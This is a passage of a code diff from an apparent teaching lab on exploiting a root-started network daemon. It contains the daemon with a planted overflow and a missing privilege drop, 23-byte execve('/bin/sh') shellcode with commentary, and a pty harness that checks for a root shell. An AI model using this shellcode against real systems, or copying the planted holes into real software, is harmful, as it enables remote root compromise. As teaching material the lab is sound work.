* drop_privs() -- what a well-written daemon would do the moment it no
* longer needs root. Two mistakes to notice, both immune to every compiler
* mitigation:
*
* * ORDER: setgroups() before setgid() before setuid(), and ONLY AFTER
* binding the port and opening any root-only files. Drop first and the
* whole point of root is gone.
* * PERMANENCE: setuid() to a nonzero value and check it stuck (a root
* process may later regain privileges via the saved id otherwise).
*
* Port 2344 needs no privilege, so the correct design would call this right
* after the listen() succeeds. In this lab it is deliberately absent from
* main(), because the lab NEEDS the accept-loop children to stay root. The
* commented function is your diff: the two missing calls at the point marked
* "*** see drop_privs() ***" below are the entire exploit surface (Bug #3,
* CWE-271: privilege not dropped before handling untrusted input).
*/
__attribute__((unused))
static void drop_privs(void)
{
/* Order matters: setgroups() first (a non-root user may not), then
* setgid(), then setuid(). Never the reverse. */
(void)setgroups(0, NULL); /* Remove all supplementary groups. */
(void)setgid(1000); /* Lose group privileges. */
if (setuid(1000) < 0) /* Any non-zero uid is fine here. */
_exit(1); /* If we cannot drop, FAIL CLOSED. */
/* Verify. getuid()/geteuid() are cheap; a privileged program whose drop
* failed silently is a root hole wearing a costume. */
if (getuid() != 1000 || geteuid() != 1000)
_exit(1);
}
/* ------------------------------------------------------------------------- */
/* Per-connection handling */
/* ------------------------------------------------------------------------- */
static void handle_client(int fd)
{
static const char banner[] =
"FOOWOSD 1.0 - deliberately vulnerable daemon (no setuid bit: root is\n"
"here because this process was started as root).\n"
"Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.\n";
prepare_client_fds(fd); /* fds 0,1,2 now all point at the socket. */
install_crash_reporter(); /* Log (g_logfd) lines, not to the socket. */
logmsg("client connected (uid=%d euid=%d)", (int)getuid(), (int)geteuid());
(void)write_all(STDOUT_FILENO, banner, sizeof(banner) - 1);
send_leaks(STDOUT_FILENO);
vulnerable_handler(STDOUT_FILENO);
/* Only reached when the payload did NOT hijack RIP. */
logmsg("vulnerable_handler returned normally -- payload did not hijack RIP");
(void)write_all(STDOUT_FILENO, "OK: no hijack, disconnecting.\n", 29);
}
/* ------------------------------------------------------------------------- */
/* The server loop */
/* ------------------------------------------------------------------------- */
static int make_listener(const char *host, int port)
{
struct sockaddr_in addr;
int fd;
int one = 1;
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
logmsg("socket() failed: %s", strerror(errno));
return -1;
}
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
logmsg("setsockopt(SO_REUSEADDR) failed: %s", strerror(errno));
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons((uint16_t)port);
if (inet_pton(AF_INET, host, &addr.sin_addr) != 1) {
logmsg("bad bind address: %s", host);
close(fd);
return -1;
}
if (port < 1 || port > 65535) {
logmsg("port out of range: %d", port);
close(fd);
return -1;
}
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
logmsg("bind(%s:%d) failed: %s", host, port, strerror(errno));
close(fd);
return -1;
}
if (listen(fd, 16) < 0) {
logmsg("listen() failed: %s", strerror(errno));
close(fd);
return -1;
}
return fd;
}
static void usage(const char *argv0)
{
fprintf(stderr,
"usage: %s [-h HOST] [-p PORT] [-d] [-L]\n"
"\n"
" -h HOST address to bind (default %s -- loopback only!\n"
" -L is required to bind anywhere else)\n"
" -p PORT TCP port to listen on (default %d)\n"
" -d daemonise: fork into the background\n"
" -L ALLOW binding to a non-loopback address (dangerous:\n"
" this daemon exists to be exploited as ROOT)\n"
"\n"
"This lab gives you a ROOT shell only when the daemon was STARTED\n"
"as root (sudo make run-root). There is no setuid bit anywhere.\n"
"Do not run it on any host that matters, never bind it beyond\n"
"loopback, and do not leave it running as root.\n",
argv0, FOOWOSD_HOST, FOOWOSD_PORT);
}
int main(int argc, char **argv)
{
const char *host = FOOWOSD_HOST; /* Bind address. */
int port = FOOWOSD_PORT; /* Bind port. */
int daemonise = 0; /* -d. */
int allow_nonloopback = 0; /* -L. The root-daemon safety guard. */
int lfd; /* Listening socket. */
int i; /* getopt() index. */
while ((i = getopt(argc, argv, ":h:p:dL")) != -1) {
switch (i) {
case 'h': host = optarg; break;
case 'p': port = atoi(optarg); break;
case 'd': daemonise = 1; break;
case 'L': allow_nonloopback = 1; break;
case ':': fprintf(stderr, "missing argument to -%c\n", optopt);
usage(argv[0]);
return 2;
default: usage(argv[0]);
return 2;
}
}
/*
* THE ROOT-DAEMON SAFETY GUARD.
*
* A daemon that is running as root (it was started as root -- there is
* no +s bit here, so this state is easy to forget) and listens on a
* non-loopback interface is a remote root service. Refuse by default,
* document the exception, fail loudly.
*/
if (!allow_nonloopback &&
(strcmp(host, "127.0.0.1") != 0 && strcmp(host, "localhost") != 0 &&
strcmp(host, "::1") != 0)) {
fprintf(stderr,
"foowosd: refusing to bind %s: this daemon may be running as\n"
" root. Loopback is the only permitted default. If you\n"
" really know what you are doing, pass -L.\n", host);
return 1;
}
signal(SIGPIPE, SIG_IGN);
signal(SIGCHLD, SIG_IGN); /* Auto-reap forked children. */
/* Reserve a private log descriptor BEFORE sockets are dup2'd over fd 1. */
g_logfd = dup(STDOUT_FILENO);
if (g_logfd < 0) {
g_logfd = STDOUT_FILENO;
fprintf(stderr, "foowosd: warning: could not reserve a log descriptor\n");
}
/*
* SELF-DIAGNOSIS OF THE "AM I ROOT ?" STATE -- printed once, to the log.
*
* ruid==euid==0 -> started as root: the exploit gives root
* ruid==euid!=0 -> started as a normal user: baseline only
*
* foowosc reads euid over the socket and can warn too; this log line is
* for you at the console.
*/
logmsg("startup: ruid=%d euid=%d %s",
(int)getuid(), (int)geteuid(),
(geteuid() == 0) ? "-> ROOT process"
: "-> NOT root (start as root: make run-root)");
if (geteuid() == 0)
logmsg("startup: WARNING: this daemon is running as root -- no setuid "
"bit involved, just a root-started process. Port %d does not "
"need root; see drop_privs().", port);
lfd = make_listener(host, port);
if (lfd < 0)
return 1;
logmsg("listening on %s:%d (pid %d) -- THIS SERVICE IS INTENTIONALLY "
"VULNERABLE", host, port, (int)getpid());
if (daemonise) {
/* Standard double fork so we cannot acquire a controlling terminal. */
pid_t p1 = fork();
if (p1 < 0) { perror("fork"); return 1; }
if (p1 > 0) _exit(0);
if (setsid() < 0) perror("setsid");
pid_t p2 = fork();
if (p2 < 0) { perror("fork"); return 1; }
if (p2 > 0) _exit(0);
if (chdir("/") < 0) perror("chdir");
umask(022);
}
/* ---- The accept loop. Each child serves one connection. The children
* stay root because the parent was started as root. ---- */
for (;;) {
struct sockaddr_in peer;
socklen_t plen = sizeof(peer);
int cfd;
pid_t pid;
cfd = accept(lfd, (struct sockaddr *)&peer, &plen);
if (cfd < 0) {
if (errno == EINTR || errno == ECONNABORTED)
continue;
logmsg("accept() failed: %s", strerror(errno));
continue;
}
/*
* Fork per connection. The child KEEPS the root privileges -- that
* is Bug #3 in this lab, "no privilege drop before handling
* untrusted input" (CWE-271). See drop_privs() above for the exact
* calls a well-written daemon would make at this point, and why the
* order of those three calls is security-critical.
*/
pid = fork();
if (pid < 0) {
logmsg("fork() failed: %s", strerror(errno));
close(cfd);
continue;
}
if (pid == 0) {
close(lfd);
handle_client(cfd);
_exit(0);
}
close(cfd);
}
}

124
wosuid/shellcode.S Normal file
View file

@ -0,0 +1,124 @@
; ============================================================================
; shellcode.S -- the reference shellcode for the wosuid lab (foowosc)
; ============================================================================
;
; This file exists for ONE reason: to let you prove that the `SHELLCODE[]`
; array in foowosc.c is exactly the machine code you would get from
; assembling these instructions. It is not used by the exploit, which carries
; the bytes inline so it has no runtime dependency on nasm.
;
; make verify-shellcode assembles this and diffs it against foowosc.c
;
; WHAT IT DOES
; ------------
; execve("/bin/sh", argv = NULL, envp = NULL)
;
; 23 bytes that turn the process into a shell -- byte-identical to the
; shellcode in the parent lab's fooc.c.
;
; WHY 23 BYTES AND NOT 32 -- the difference between the labs, in one payload
; ---------------------------------------------------------------------------
; The SUID lab (foosd/foosc) needed a 32-byte shellcode that prefixed
; setreuid(0,0). Why:
;
; * a setuid-root binary gives the process euid 0 but LEAVES ruid = the
; launching user (1000);
; * bash (and dash) check `euid != ruid` at startup and, absent `-p`,
; reset euid = ruid -- the shell's own guard against this attack;
; * so a plain execve("/bin/sh") from a *setuid* process yields a shell
; that has quietly dropped root; the real uid must be cleared first.
;
; THIS lab deliberately has NO setuid bit. The daemon is root because it was
; STARTED as root: real uid 0, effective uid 0, saved uid 0. fork() inherits
; all three, execve() changes none of them, and bash starts with equal uid 0s
; -- the guard has nothing to reset, so the plain execve keeps root. The
; same 23 bytes that pwnd the user-level `food` daemon in the parent lab
; open a ROOT shell here, because the process they run inside is already
; fully root.
;
; The setuid bit transfers privilege; it is not the privilege itself. When a
; root-started daemon is exploited, the outcome is identical to exploiting a
; setuid binary -- minus the need to fiddle with the real uid.
;
; Register usage follows the System V AMD64 ABI: first integer args in
; rdi, rsi, rdx; syscall number in rax.
; ============================================================================
BITS 64
; section .text -- mark it executable, the default, so `nasm -f bin` emits
; the instruction bytes with no ELF wrapper around them.
section .text
; ---------------------------------------------------------------------------
; xor esi, esi
; rsi = 0 -> argv = NULL
;
; Zeroing with xor instead of `mov esi, 0` is two bytes shorter (2 vs 5)
; and the classic x86 idiom for producing a zero without a memory operand.
; ---------------------------------------------------------------------------
xor esi, esi
; ---------------------------------------------------------------------------
; xor edx, edx
; rdx = 0 -> envp = NULL
;
; argv = NULL lets the kernel synthesise argv[0] from the pathname, and
; envp = NULL gives the new program an empty environment. The shell runs
; fine but with no PATH, so `id` and `uname` work and bare `vi` does not --
; a small detail that surprises people, and the reason the relayed local
; side of the exploit never relies on a PATH-based command.
; ---------------------------------------------------------------------------
xor edx, edx
; ---------------------------------------------------------------------------
; movabs rdi, 0x68732f6e69622f
; rdi = the 8 bytes 2f 62 69 6e 2f 73 68 00, i.e. "/bin/sh\0"
;
; Read the immediate right-to-left as bytes and it spells the string out.
; That packing is the whole trick: eight bytes of payload in a ten-byte
; instruction, no data section, no relocation, no alignment padding.
; ---------------------------------------------------------------------------
movabs rdi, 0x68732f6e69622f
; ---------------------------------------------------------------------------
; push rdi
; Put those eight bytes on the stack, where a string has to live so that a
; register can point at it. The stack is writable and lives at an
; attacker-chosen address, so this is the position-independent way to
; materialise a string constant inside a payload that has no .data.
; ---------------------------------------------------------------------------
push rdi
; ---------------------------------------------------------------------------
; mov rdi, rsp
; rdi = the address of the string we just pushed = argv[0] as well as the
; pathname. Reusing one buffer for both is legal; the kernel only reads the
; pathname before it sets up the new stack, and by then argv[0] is copied.
; ---------------------------------------------------------------------------
mov rdi, rsp
; ---------------------------------------------------------------------------
; push 0x3b
; pop rax
; rax = 59 = the __NR_execve slot in the x86-64 syscall table.
;
; Syscall numbers are part of the kernel ABI and are frozen: 0 = read,
; 1 = write, 2 = open, ..., 59 = execve. `push 0x3b; pop rax` is the
; idiomatic 2-byte way to load a small constant; `mov eax, 0x3b` is 5.
; ---------------------------------------------------------------------------
push 0x3b
pop rax
; ---------------------------------------------------------------------------
; syscall
; Trap into the kernel. On return, either we are a shell (success) or we
; are handed a -errno in rax and fall off the end of the payload (failure).
; ---------------------------------------------------------------------------
syscall
; Note what is NOT here:
; * no setreuid -- the process was started as root, so ruid is already 0
; (compare the 32-byte variant in the suid lab, which had to clear it).
; * no `ret` -- execve does not return.
; * no `nop` sled -- we jump straight to the first byte.

View file

@ -0,0 +1,278 @@
/*
* pty_wosuid_test.c -- test harness: drive ./foowosc through a
* pseudo-terminal so the interactive shell it hands over to has a real
* terminal.
*
* Why a pty at all: the exploit's last act is to relay the user's terminal
* to the shell running on the victim. Anything already sitting on the real
* stdin (a pipe, a here-doc) is at the wrong end of that relay, so the
* commands must arrive via a real tty. This harness supplies one.
*
* What it proves, and in what order:
*
* SHELL the marker literal comes back AND real `id` output appears.
* Both are required because the marker alone also occurs in the
* command line we typed *to* the pty, so any harness that does not
* disable echo (see below) scores a false positive.
*
* ROOT the transcript contains "uid=0(", i.e. the shell on the far side
* really runs with uid 0. That can only come from a live `id`
* executed by a uid-0 shell, and it is the entire claim of this
* lab: foowosd was STARTED as root (no setuid bit anywhere), and
* the RCE therefore lands a root shell.
*
* Flags:
* --must-root exit 0 only if BOTH a shell and ROOT are proven.
* Used by `make test-root` for every technique, because when
* the daemon is running as root ALL of them must escalate.
* --dump FILE write the raw transcript for post-mortem analysis.
*
* Exit status without --must-root: 0 when a shell is proven (marker + uid=).
* That is how `make test` runs the baseline against a non-root daemon.
*
* Two false-positive traps, both learned the hard way in earlier labs:
*
* 1. ECHO. The pty must run cooked but with ECHO off. With ECHO on, the
* pty mirrors our own keystrokes back into the transcript, the command
* line "echo WOSUID-OK" supplies the marker, and the harness reports
* success whether or not any shell ever ran. ECHONL stays on so the
* newline still comes back.
*
* 2. "uid=" as a bare substring. foowosc's own diagnostics print
* "target euid=0 ruid=0", and both "euid=" and "ruid=" CONTAIN "uid=".
* So id_output must require the exact `id` output shape -- "uid="
* followed by digits and a parenthesis -- and even then the banner is
* printed as "ids=..." precisely so it can never look like `id`.
*/
#define _GNU_SOURCE
#include <errno.h> /* strerror(). */
#include <fcntl.h> /* open(), O_RDWR. */
#include <pty.h> /* posix_openpt(), grantpt(), ptsname_r(). */
#include <stdio.h> /* printf() and friends. */
#include <stdlib.h> /* _exit(). */
#include <string.h> /* strstr(). */
#include <sys/wait.h> /* waitpid(). */
#include <sys/select.h>/* select(): timeout without a busy loop. */
#include <termios.h> /* tcgetattr()/tcsetattr(). */
#include <signal.h> /* kill(), SIGKILL. */
#include <unistd.h> /* read, write, dup2, usleep, setsid, close. */
/* The literal we ask the remote shell to print; seeing it come back (with
* ECHO off) proves a shell really echoed it from the other side. */
#define MARKER "WOSUID-OK"
/* PROOF the far-side shell is root. "uid=0(" matches "uid=0(root)" and the
* older "uid=0( root)"-style output of any id implementation; only 'id' can
* print this line, and the parenthesis rules out foowosc/foowosd chatter. */
#define ROOTOUT "uid=0("
/* saw_real_uid_output() -- true iff the transcript contains "uid=" followed
* by one or more digits and then '(' . That is the signature of `id`'s
* output and of nothing foowosc or foowosd prints (see the header comment's
* trap #2: foowosc's own "euid=… ruid=…" chatter contains "uid="). */
static int saw_real_uid_output(const char *t)
{
const char *p = t;
while ((p = strstr(p, "uid=")) != NULL) {
const char *q = p + 4; /* past "uid=" */
int digits = 0;
while (*q >= '0' && *q <= '9') {
q++;
digits++;
}
if (digits > 0 && *q == '(')
return 1;
p = q; /* keep scanning for the next "uid=". */
}
return 0;
}
/* Everything the pty has ever produced, scanned after every drain so a
* marker straddling a read() boundary cannot be missed. */
static char transcript[65536];
/* drain_master() -- read the pty master for up to `ms` ms, echo to stdout,
* and append to the transcript. select() with a deadline keeps us from
* spinning while the (interactive, silent) shell thinks. */
static int drain_master(int master, int ms)
{
struct timeval tv;
fd_set rfds;
int total = 0;
char buf[4096];
FD_ZERO(&rfds);
FD_SET(master, &rfds);
tv.tv_sec = ms / 1000;
tv.tv_usec = (ms % 1000) * 1000;
while (select(master + 1, &rfds, NULL, NULL, &tv) > 0) {
ssize_t n = read(master, buf, sizeof(buf));
if (n <= 0)
break;
fwrite(buf, 1, (size_t)n, stdout);
fflush(stdout);
total += (int)n;
if ((size_t)total < sizeof(transcript) - 1)
strncat(transcript, buf, (size_t)n);
/* A chatty peer should not hold us forever: reset the deadline. */
FD_ZERO(&rfds);
FD_SET(master, &rfds);
tv.tv_sec = 0;
tv.tv_usec = 200000;
}
return total;
}
static const char *technique_of(int argc, char **argv)
{
for (int i = 1; i + 1 < argc; i++)
if (strcmp(argv[i], "-t") == 0)
return argv[i + 1];
return "(default: shellcode)";
}
int main(int argc, char **argv)
{
int master;
char slave_name[256];
struct termios saved;
int have_saved = 0;
pid_t pid;
int ok = 0; /* marker seen */
int saw_id = 0; /* "uid=NNN(" seen: real program ran */
int saw_root = 0; /* "uid=0(" seen: it was uid 0 */
int must_root = 0; /* --must-root flag */
int round;
/* True when --must-root is present: the verdict then demands uid 0. */
for (int i = 1; i < argc; i++)
if (strcmp(argv[i], "--must-root") == 0)
must_root = 1;
/* ---- 1. Allocate a pty. ------------------------------------------ */
master = posix_openpt(O_RDWR);
if (master < 0) {
perror("posix_openpt");
return 2;
}
if (grantpt(master) < 0 || unlockpt(master) < 0) {
perror("grantpt/unlockpt");
return 2;
}
if (ptsname_r(master, slave_name, sizeof(slave_name)) != 0) {
perror("ptsname_r");
return 2;
}
/* ---- 2. Fork; the child becomes the pty slave and execs foowosc. -- */
pid = fork();
if (pid < 0) {
perror("fork");
return 2;
}
if (pid == 0) {
int s;
char *args[64];
int n = 0;
if (setsid() < 0)
_exit(127);
s = open(slave_name, O_RDWR);
if (s < 0)
_exit(127);
dup2(s, STDIN_FILENO);
dup2(s, STDOUT_FILENO);
dup2(s, STDERR_FILENO);
if (s > STDERR_FILENO)
close(s);
/* Forward everything except our own --must-root / --dump plumbing,
* which foowosc's getopt() would reject. */
args[n++] = (char *)"./foowosc";
for (int i = 1; i < argc && n < 63; i++) {
if (strcmp(argv[i], "--must-root") == 0)
continue;
if (strcmp(argv[i], "--dump") == 0) {
i++;
continue;
}
args[n++] = argv[i];
}
args[n] = NULL;
execv(args[0], args);
_exit(127);
}
/* ---- 3. Terminal: cooked but SILENT. ----------------------------- */
/* NOT cfmakeraw(): the shell needs a real line-discipline terminal.
* ECHO off is load-bearing (trap #1 above). ECHONL stays on so we still
* see the newline when the pty processes our input. */
if (tcgetattr(master, &saved) == 0) {
struct termios quiet = saved;
have_saved = 1;
quiet.c_lflag &= ~(tcflag_t)ECHO;
quiet.c_lflag |= ECHONL;
tcsetattr(master, TCSANOW, &quiet);
}
/* ---- 4. Wait out foowosc's analysis + connect + payload phases. --- */
for (round = 0; round < 12; round++)
drain_master(master, 250);
/* ---- 5. Type the proof commands. --------------------------------- */
dprintf(master, "id; echo " MARKER "; uname -sr; exit\n");
/* ---- 6. Read until we have the signals we need (or give up). ----- */
for (round = 0; round < 20; round++) {
drain_master(master, 250);
/* Rescan the WHOLE transcript, not the latest chunk: strings can
* straddle read() boundaries. */
if (strstr(transcript, MARKER) != NULL) ok = 1;
if (saw_real_uid_output(transcript)) saw_id = 1;
if (strstr(transcript, ROOTOUT) != NULL) saw_root = 1;
/* --must-root: require everything. Otherwise require a live shell. */
if (must_root) {
if (ok && saw_id && saw_root)
break;
} else if (ok && saw_id) {
break;
}
}
/* ---- 7. Tidy up. ------------------------------------------------- */
kill(pid, SIGKILL);
waitpid(pid, NULL, 0);
if (have_saved)
tcsetattr(master, TCSANOW, &saved);
close(master);
/* Optional --dump for post-mortems: pty_wosuid_test -t shellcode --dump x */
for (int i = 1; i + 1 < argc; i++) {
if (strcmp(argv[i], "--dump") == 0) {
FILE *f = fopen(argv[i + 1], "w");
if (f != NULL) {
fwrite(transcript, 1, strlen(transcript), f);
fclose(f);
fprintf(stderr, "[pty_wosuid_test] transcript (%zu bytes) -> %s\n",
strlen(transcript), argv[i + 1]);
}
}
}
fprintf(stderr,
"\n[pty_wosuid_test] technique=%-12s marker=%-7s id_output=%-7s root=%s\n",
technique_of(argc, argv),
ok ? "SEEN" : "MISSING",
saw_id ? "SEEN" : "MISSING",
saw_root ? "SEEN" : "MISSING");
if (must_root)
return (ok && saw_id && saw_root) ? 0 : 1;
return (ok && saw_id) ? 0 : 1;
}